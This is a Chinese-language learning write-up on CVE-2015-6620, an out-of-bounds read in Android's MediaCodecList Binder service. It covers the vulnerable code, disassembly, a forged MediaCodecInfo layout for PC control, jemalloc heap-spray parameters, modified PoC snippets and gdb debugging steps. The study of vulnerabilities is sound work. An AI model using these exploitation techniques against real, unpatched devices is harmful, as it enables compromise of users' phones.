[转组第11天] | CVE-2015-6620学习总结

2018-05-24

前言

想学习android漏洞方面的知识,Flanker Edward在知乎上有个回答,提出了binder的经典漏洞cve-2015-6620,所以就从这个漏洞开始学习,作者提供了poc和文档,这篇笔记主要发分析一下漏洞,以及记录第一次调试android漏洞遇到的问题。

环境搭建与基础知识

  1. android源码环境:Ubuntu16.04 andoird_6.0.0_r1
  2. gdb调试环境的搭建
  3. peda-arm安装,调试界面更方便
  4. Shadow安装,方便调试jemalloc

这个是android平台上binder方面的漏洞,所以涉及到一些android的底层知识需要学习一下

  1. Binder
  2. 智能指针
  3. Jemalloc

关于基础知识有别的文档总结介绍。

Gdb调试环境的搭建:

android eng版本中自带的gdb版本太低,不支持python,而且gdb使用的内置python,版本一般较低,不适合安装peda-arm和shadow插件等。

这里建议gdbserver使用shadow自带的gdbserver32,并且按照shadow文档里面下载编译gdb7.11,(注意:gdb版本和gdbserver版本要对应)。我这里编译的是arm-eabi-linux版本。

(曾尝试下载gdb官方软件包,用android的独立工具链进行编译,各种错误,所以就按shadow文档中所写,要clone google toolchain/gdb,按照文档步骤编译。但是这样只生成了gdb7.11,没有生成gdbserver,猜测gdbserver还是需要工具链编译?这里就只使用了shadow自带的gdbserver32[version 7.11].)

漏洞成因

CVE-2015-6620包含两个漏洞,编号分别为24123723和24445127,这里主要分析的是24445127MediaCodecInfo越界访问。

漏洞存在于MediaCodecList服务。该Binder服务提供了一个getCodecInfo的功能,

(MeidaCodecList服务:允许枚举可用的编解码器,每个指定为MediaCodecInfo对象。

getCodecInfo获取指定下标编解码器信息。)

存在漏洞的代码如下:

 1 //http://androidxref.com/6.0.0_r1/xref/frameworks/av/media/libmedia/IMediaCodecList.cpp#54
 2 
 3 status_t BnMediaCodecList::onTransact(
 4     uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags)
 5 {
 6     switch (code) {
 7 
 8         case GET_CODEC_INFO:
 9         {
10             CHECK_INTERFACE(IMediaCodecList, data, reply);
11             size_t index = static_cast<size_t>(data.readInt32());
12             const sp<MediaCodecInfo> info = getCodecInfo(index); //调用服务端的实现
13             if (info != NULL) {
14                 reply->writeInt32(OK);
15                 info->writeToParcel(reply);
16             } else {
17                 reply->writeInt32(-ERANGE);
18             }
19             return NO_ERROR;
20         }
21 
22         break;

从Parcel中读取从客户端传来的索引,然后调用在服务端实现的getCodecInfo,看下在MediaCodecList中实现的getCodecInfo:

1 //http://androidxref.com/6.0.0_r1/xref/frameworks/av/include/media/stagefright/MediaCodecList.h#49
2 
3 struct MediaCodecList : public BnMediaCodecList {
4 
5     Vector<sp<MediaCodecInfo> > mCodecInfos;
6      virtual sp<MediaCodecInfo> getCodecInfo(size_t index) const {
7         return mCodecInfos.itemAt(index);   // 未进行任何边界检查
8     }
9 }

其中mCodecInfos是MeidaCodecList的私有成员:

1 struct MediaCodecList : public BnMediaCodecList {
2 private:
3      ...
4      Vector<sp<MediaCodecInfo> > mCodecInfos;
5      sp<MediaCodecInfo> mCurrentInfo;
6      ...

可以看到直接调用了vector的itemAt函数,并未进行任何边界检查,而index是我们客户端程序可以控制的,这地方就存在一个越界访问漏洞。

注意:一旦发生越界访问,mediaserver会崩溃重启,但是异常会被捕获由于地址不可访问之类。该poc程序的主要目的是实现pc寄存器的控制。

poc的基本思路是在Vector<sp<MediaCodecInfo>>后面添加伪造的sp<MediaCodecInfo>,使其指向我们伪造的MediaCodecInfo对象:

但是这样感觉顶多就是返回一个我们预设的fake MediaCodecInfo对象信息,如何获取pc寄存器的控制呢?

漏洞利用:

根据漏洞的成因,我们现在有这样一个能力:可以越界访问Binder服务所在进程中的一个Vector<sp<MediaCodecInfo>>,但是只能读取不能写入。漏洞作者利用这样一种能力可以实现任意地址读取和pc寄存器的控制。下面主要分析pc控制的原理。在分析poc原理前,需要了解相关对象在内存中的布局,如下图所示:

 

pc control poc原理分析:

一个越界读可以造成pc的控制,关键在于getCodecInfo的调用:

const sp<MediaCodecInfo> info = getCodecInfo(index);

1 //sp 拷贝构造函数
2 template<typename T>
3 sp<T>::sp(const sp<T>& other)
4 : m_ptr(other.m_ptr)
5   {
6     if (m_ptr) m_ptr->incStrong(this);
7   }

上面的代码是用getCodecInfo函数的返回值新建了一个info对象,这就会调用info的拷贝构造函数。info的类型为sp,sp的拷贝构造函数如上所示。可以看看getCodecInfo的汇编版本,像这样返回对象的函数,一般会把R0指向返回对象保存的地址。

 1 //libstagefright.so
 2 
 3 .text:000A9478 ; android::sp<android::MediaCodecInfo> __usercall android::MediaCodecList::getCodecInfo@<R0>(const android::MediaCodecList *this@<R1>, size_t index@<R2>)
 4 
 5 .text:000A9478 return_obj = R0                         ;保存的就是上面info的地址
 6 .text:000A9478 this = R1                               ; const android::MediaCodecList *
 7 .text:000A9478 index = R2                              ; size_t
 8 .text:000A9478                 PUSH.W          {R11,LR}
 9 .text:000A947C                 MOV             R3, R0
10 .text:000A947E                 LDR             R0, [this,#0x5C]
11 .text:000A9480                 LDR.W           R0, [R0,index,LSL#2] ; 这里可以越界读取
12 .text:000A9484                 STR             R0, [R3]; 设置info.m_prt
13 .text:000A9486                 CMP             R0, #0
14 .text:000A9488                 ITT NE
15 .text:000A948A                 MOVNE           this, R3 ; 调用info的拷贝构造函数,因为inline优化直接调用了(info.m_ptr)->incStrong()
16 .text:000A948C                 BLXNE           _ZNK7android7RefBase9incStrongEPKv ; android::RefBase::incStrong(void const*)
17 .text:000A9490                 POP.W           {R11,PC}
18 .text:000A9490 ; End of function android::MediaCodecList::getCodecInfo(uint)

可以看到会将vector的内容读取到R0中,如果R0不为0,会调用incStrong,代码如下:

 1 //http://androidxref.com/6.0.0_r1/xref/system/core/libutils/RefBase.cpp#322
 2 
 3 
 4 void RefBase::incStrong(const void* id) const
 5 {
 6 
 7     weakref_impl* const refs = mRefs;
 8     refs->incWeak(id);
 9  
10     refs->addStrongRef(id);
11     const int32_t c = android_atomic_inc(&refs->mStrong);
12     ALOG_ASSERT(c > 0, "incStrong() called on %p after last strong ref", refs);
13 #if PRINT_REFS
14     ALOGD("incStrong of %p from %p: cnt=%d
", this, id, c);
15 #endif
16     if (c != INITIAL_STRONG_VALUE)  {
17         return;
18     }
19 
20  
21     android_atomic_add(-INITIAL_STRONG_VALUE, &refs->mStrong);
22     refs->mBase->onFirstRef(); //这里有虚函数的调用
23 
24 }

汇编代码版本,可以清楚看到存在虚函数的调用:

 1 // libutils.so
 2 
 3 .text:0000E6BE ; void __fastcall android::RefBase::incStrong(const android::RefBase *const this, const void *id)
 4 .text:0000E6BE                 EXPORT _ZNK7android7RefBase9incStrongEPKv   
 5 .text:0000E6BE                                        
 6 .text:0000E6BE this = R0                                         ; const android::RefBase *const
 7 .text:0000E6BE id = R1                                           ; const void *
 8 .text:0000E6BE                 PUSH            {R4,LR}
 9 .text:0000E6C0                 LDR             R4, [this,#4]     ;this存放的就是越界读取的内容
10 .text:0000E6C2 refs = R4                               ; android::RefBase::weakref_impl *const
11 .text:0000E6C2                 MOV             this, refs ; this
12 .text:0000E6C4                 BLX             j__ZN7android7RefBase12weakref_type7incWeakEPKv ;
13 .text:0000E6C8                 DMB.W           SY
14 .text:0000E6CC                 LDREX.W         R3, [refs]
15 .text:0000E6D0                 ADDS            R2, R3, #1
16 .text:0000E6D2                 STREX.W         R1, R2, [refs]
17 .text:0000E6D6                 CMP             R1, #0
18 .text:0000E6D8                 BNE             loc_E6CC
19 .text:0000E6DA                 CMP.W           R3, #0x10000000
20 .text:0000E6DE                 BNE             locret_E700
21 .text:0000E6E0                 DMB.W           SY
22 .text:0000E6E4                 LDREX.W         R0, [refs]
23 .text:0000E6E8                 ADD.W           R12, R0, #0xF0000000
24 .text:0000E6EC                 STREX.W         R3, R12, [refs]
25 .text:0000E6F0                 CMP             R3, #0
26 .text:0000E6F2                 BNE             loc_E6E4
27 .text:0000E6F4                 LDR             R0, [refs,#8]
28 .text:0000E6F6                 LDR             refs, [R0]  ; vtable
29 .text:0000E6F8                 LDR             R2, [R4,#8] ; 可以通过这里控制pc
30 .text:0000E6FA                 POP.W           {R4,LR}
31 .text:0000E6FE                 BX              R2

梳理一下就是,越界读取的内容放入R0,然后进行如下操作:

1 refs = [R0 + 4]
2 if ([refs] == 0x10000000)
3     mbase = [refs + 8]
4     vtable = [mbase]
5     call [vtable + 8]

 也就是说如果我们在内存中伪造了合适的MediaCodecInfo,并且将指向该伪造的MediaCodecInfo的指针放入vector<sp<MediaCodecInfo>>存储区的后面,这样我们可以通过越界访问,读取到指向该伪造的MediaCodecInfo的指针,进而控制PC。我们可以在内存还总伪造如下的MediaCodecInfo:

1 //BASEADDR 为假MediaCodecInfo的起始地址
2 *(BASEADDR) = vtale; //设置MediaCodecInfo vtable 随便填写
3 *((unsigned int *)BASEADDR + 1) = BASEADDR + 12;     //mRefs, 使他指向BASEADDR + 12
4 *((unsigned int *)BASEADDR + 3) = 0x10000000;        //mRefs指向此处,即虚假的info->mRefs的起始地址
5 *((unsigned int *)BASEADDR + 5) = BASEADDR + 0x20;   //info->mRefs->mBase字段,使他指向BASEADDR + 0x20
6 *((unsigned int*)BASEADDR + 8) = BASEADDR + 0x20 + 4;  //mBase的vtable字段,使他指向BASEADDR + 0x20 + 4
7 *((unsigned int*)BASEADDR + 11) = 0x61616161;          //vtable +8, 我们可以在此处放置目标pc

注意,这里并未构建完整的MediaCodecInfo而是顺着把虚函数调用过程使用的参数全部构造出来放在一起,如下图:

 

小结:

所以基本的利用思路,就是构建一个假的MediaCodecInfo对象,在getCodecInfo函数返回一个新的sp<MediaCodecInfo>对象时,需要调用sp的拷贝构造函数,需要把假的MediaCodecInfo对象强引用加1,调用incStrong函数,incStrong函数内部又会调用onfirstRef虚函数。由于MediaCodecInfo对象是我们构造的,我们就可以进一步构造其父类以及Vtable指向,最终篡改Vtable中Refbase::onFirstRef的地址为我们想让其访问的地址0x61616161。

那如何让poc程序在mediaServer进程中构造假的MediaCodecInfo对象呢?又如何通过数组越界访问到我们构造的MeidaCodecInfo对象。下面陈述一下poc实现漏洞的原理。

Poc的原理:

要成功的运行poc实现漏洞利用的目的,要进行两次堆喷射,第一次是将我们伪造的MediaCodecInfo喷射到内存中,第二次是将我们伪造的MeidaCodecInfo的地址喷射到Vector<sp<MediaCodecInfo>>的存储区的后面,这样就可以通过越界读取,来触发漏洞。

第一步堆喷射喷射了0x1200次,在我的环境(Android6.0.0_r1 arm-eng)下,每个region大小为0x1800。喷射的占用的run会覆盖0xb3005000地址,且正好是块头。所以我们选择0xb3005010作为BASEADDR,前16个字节是因为Vector从存储到SharedBuffer上,SharedBuffer的私有成员有16字节。

第二步堆喷射需要将指向MediaCodecInfo的指针喷射到Vector<sp<MediaCodecInfo>>的存储区的后方,

作者的方法是:Vector的存储区肯定是jemalloc分配的,肯定是落在某个大小的region内,所以作者首先计算出这个大小,后面堆喷射时,喷射出大量相同大小的region,这个样后面越界的ulu就会有很大概率命中。所以关键步骤就是:

  计算Vector<sp<MediaCodecInfo>>的存储区所在region大小

  确保堆喷射时,分配的是相同大小的region.

通过调试发现vector<sp<MediaCodecInfo>>的存储区所在region大小和作者中poc给的一直,但是在调试时发现堆喷射的payload并没有落在大小为160的region内,而是在0x100的region内。

将其修改为96就可以保证分配在160region中。

调试分析:

下面记录调试细节,由于是第一次调试。

调试环境:

  Android6.0.0_r1 模拟器

  修改后的poc以及程序

  gdb7.11和gdbserver7.11

修改POC代码:

因为作者是在android5.1上测试的,有些硬编码的值不适用于android6.0.0r1。

1 void setupRawBufForPControl(char* buf)
2 {
3     const unsigned int BASEADDR = 0xb3005010;

把BASEADDR地址改了,原来是0xb3003010,在调试过程中发现并不能喷射到0xb3003010,选择另外一个相对稳定的BASEADDR即可。这里选择的0xb3005010,注意0x10是预留给SharedBuffer私有成员的,调试就能发现。

1 void setupRawBufForZone160(char* buf)
2 {
3     for(size_t i=0; i< 96/ sizeof(int); i++)
4     {
5         *((unsigned int*)buf + i) = 0xb3005010;
6     }
7 }

同样把硬编码值修改了,还有就是把payload的长度改为96,以便分配到160大小的region上,跟vector<sp<MediaCodecInfo>>region相同,都在region大小为0xa0的run里。这样大概率能越界访问到BASEADDR。

1 printf("[+]spraying zone160");
2     //now spray SIZE 160
3     const size_t ZONESIZE = 96;

这个还是修改payload长度。位于main函数中。

修改完POC源码后,利用mmm重新编译POC。

 编译完成后会生成poc程序在out目录下,我这里用的是sysmbols/system/bin目录下poc程序,它比system/bin目录下的poc程序大很多,包含符号信息。

下面开始调试:

1. 开启模拟器

1 cd source(android源码目录)
2 source build/envsetup.sh
3 lunch 1
4 emulator

2. 预计最少需要4个终端,一个终端使用gdb调试,一个终端运行poc,一个终端运行gdbserver。还有一个终端开启模拟器(step 1)。终端的操作

 1) 第一步模拟器已经开了。

 2) POC终端

1 adb remount
2 adb push /home/wql/下载/shadow-master/bin/gdbserver32 /system/bin/
3 adb push poc /system/bin/
4 adb forward tcp:1234 tcp:1234
5 adb shell ps | grep media

 注意adb shell ps | grep media也可以先adb shell 之后,在android终端下再ps|grep media,这个调试时会时不时用到,因为一旦执行poc越界访问,访问到非法地址都会造成mediaserver崩溃,mediaserver都会崩溃重启,PID会改变,每次调试完之后,都要ps|media,来查询mediaserver的新PID,用于gdbserver附加。

下面执行poc

1 adb shell
2 poc

这里poc程序专门写了一个getchar()便于我们attach到mediaserver,执行完这一步,MediaCodecInfo已经被分配到mediaserver的堆中了,稍后可以查看。 

3) gdbserver终端

经过poc终端的配置,gdbserver终端的配置就很简单了,就是启动gdbserver附加到mediaserver即可。

1 adb shell
2 gdbserver32 :1234 --attach 67

4) gdb终端 

1 ./gdb  /home/wql/AndroidWP/source-6.0.0-r1/out/target/product/generic/symbols/system/bin/mediaserver

 执行完毕后,如下图,从mediaserver中读取了符号表。

接着设置库文件的查询路径:

1 set solib-search-path /home/wql/AndroidWP/source-6.0.0-r1/out/target/product/generic/symbols/system/lib
2 set solib-absolute-prefix  /home/wql/AndroidWP/source-6.0.0-r1/out/target/product/generic/symbols/system/lib

 接着连接远程调试端口:

1 target remote:1234

会发现它从设置的lib路径读取了它所需的so文件。此时的源文件也都能跟本地对应上,可以使用info sources命令查看。

接着加载shadow插件:

1 source /home/wql/下载/shadow-master/gdb_driver.py
2 jeparse -c /home/wql/下载/shadow-master/cfg/android6_32.cfg

第二句命令是选择对应版本的配置。

 

接下来是下断点:

1 #b frameworks/av/include/media/stagefright/MediaCodecList.h:50
2 b android::MediaCodecList::getCodecInfo(unsigned int) const

 这里可以选择下源文件按行下断点,也可以直接下函数的断点,这里推荐下函数的断点,这样会准确的停到函数入口。

现在已经一切都准备完成了,接下来可以直接continue...,查看运行结果。不过在此之前我们可以先用shadow看看jemalloc的堆使用情况。

1 jeruns

这里可以看到已分配的run信息,我们重点关注0xb3005010所在run.可以看到并没有包含0xb3005010的run,这就出现了问题,说明我们选择的地址并不算太稳定。这种情况,在mediaserver崩溃过一次之后才解决。这说明地址选的还是不够稳定。 

 

我们先看一下region内容:

 

可以看到前0x10个字节是sharedbuffed的私有成员信息,所以我们baseaddr选择0xXXXXXX10开始。这里有0x1200个0x1800region全部是我们第一次喷射进堆的块。可以看到在0xb3005010处我们的MediaCodeInfo对象已经布置好了。

我们退出gdb调试,再在程序输入index位置处重新附加:

 

重新启动gdbserver附加mediaserver进程。

继续查看jeruns分布

如上图所示,其实此时0xa0大小region所在run就是Vector<sp<MediaCodecIndo>>所在的run。我们下好getCodecInfo的断点,continue:

1 continue

在poc程序中输入84:

会发现触发了gdb中getCodecInfo的断点:

 

我们打印mCodecInfos变量:

1 print mCodecInfos

可以看到它存储在mStorage =0xb60d5d30,就是位于我们上面所提的0xa0大小region的run。

1 jerun 0xb60d5000

 

可以看到Vector<sp<MediaCodecIndo>>所在的region。 

查看Vector<sp<MediaCodecIndo>>对象内容:

1 x/100xw 0xb60d5d30

可以看到输入84可以访问到0xb3005010数据。从而能访问到0xb3005010存储的MediaCodecInfo对象。 

继续continue,就可以看到成功访问到预设的地址0x616161,达到了控制PC的目的:

 

到此就表明POC已经执行成功了。由于0x61616161处没有预设代码,所以跟正常越界访问一样,也会造成崩溃重启。

我们可以发现的第二次堆喷射的分配的大小保证了Vector<sp<MediaCodecIndo>>所在的region大小一致,就有很大的机率放置到Vector<sp<MediaCodecIndo>>所在的region的后面,用于越界访问。

 

 参考和感谢:(glider菜鸟 )

https://bbs.pediy.com/thread-226699.htm

原文地址:https://www.cnblogs.com/nww-570/p/9085159.html